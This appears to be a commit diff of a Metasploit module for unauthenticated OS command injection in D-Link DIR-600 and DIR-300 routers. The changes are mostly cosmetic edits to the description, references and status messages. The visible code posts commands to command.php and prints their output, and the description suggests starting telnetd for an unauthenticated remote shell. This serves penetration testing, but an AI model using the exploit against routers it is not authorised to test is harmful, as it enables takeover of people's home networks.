@@ -15,20 +15,22 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution' ,
17
17
'Description' => %q{
18
- Some D-Link Routers like the DIR-600 rev B and the DIR-300 rev B are
19
- vulnerable to OS Command injection.
20
- You do not need credentials to the webinterface because the command.php
21
- is accesseble without authentication. You could read the plaintext password
22
- file. Tested versions: DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
23
- Hint: To get a remote shell you could start the telnetd without any authentication.
18
+ This module exploits an OS Command Injection vulnerability in some D-Link
19
+ Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in
20
+ command.php, which is accessible without authentication. This module has been
21
+ tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
22
+ In order to get a remote shell the telnetd could be started without any
23
+ authentication.
24
24
} ,
25
25
'Author' => [ 'm-1-k-3' ] ,
26
26
'License' => MSF_LICENSE ,
27
27
'References' =>
28
28
[
29
- [ 'URL' , 'http://www.dlink.de/cs/Satellite?c=Product_C&childpagename=DLinkEurope-DE%2FDLTechProduct&cid=1197381489628&p=1197318958220&packedargs=QuickLinksParentID%3D1197318958220%26locale%3D1195806663795&pagename=DLinkEurope-DE%2FDLWrapper' ] ,
29
+ [ 'OSVDB' , '89861' ] ,
30
+ [ 'EDB' , '24453' ] ,
31
+ [ 'URL' , 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ] ,
30
32
[ 'URL' , 'http://www.s3cur1ty.de/home-network-horror-days' ] ,
31
- [ 'URL' , 'http://www.s3cur1ty.de/m1adv2013-003' ] ,
33
+ [ 'URL' , 'http://www.s3cur1ty.de/m1adv2013-003' ]
32
34
] ,
33
35
'DefaultTarget' => 0 ,
34
36
'DisclosureDate' => 'Feb 04 2013' ) )
@@ -52,23 +54,22 @@ def run
52
54
{
53
55
'uri' => uri ,
54
56
'method' => 'POST' ,
55
- 'data' => data_cmd ,
57
+ 'data' => data_cmd
56
58
} )
57
- return :abort if res . nil?
58
- return :abort if ( res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ HTTP\/ 1.1,\ DIR/ )
59
- return :abort if ( res . code == 404 )
60
-
59
+ return if res . nil?
60
+ return if ( res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ HTTP\/ 1.1,\ DIR/ )
61
+ return if res . code == 404
61
62
rescue ::Rex ::ConnectionError
62
63
vprint_error ( "#{ rhost } :#{ rport } - Failed to connect to the web server" )
63
64
return
64
65
end
65
-
66
- if res . body . include? "end"
67
- print_status ( "#{ rhost } :#{ rport } - Exploited successfully\n " )
66
+
67
+ if res . body . include? ( "end" )
68
+ print_good ( "#{ rhost } :#{ rport } - Exploited successfully\n " )
68
69
print_line ( "#{ rhost } :#{ rport } - Command: #{ datastore [ 'CMD' ] } \n " )
69
70
print_line ( "#{ rhost } :#{ rport } - Output: #{ res . body } " )
70
71
else
71
- print_status ( "#{ rhost } :#{ rport } - Exploit failed." )
72
+ print_error ( "#{ rhost } :#{ rport } - Exploit failed." )
72
73
end
73
74
end
74
75
end
0 commit comments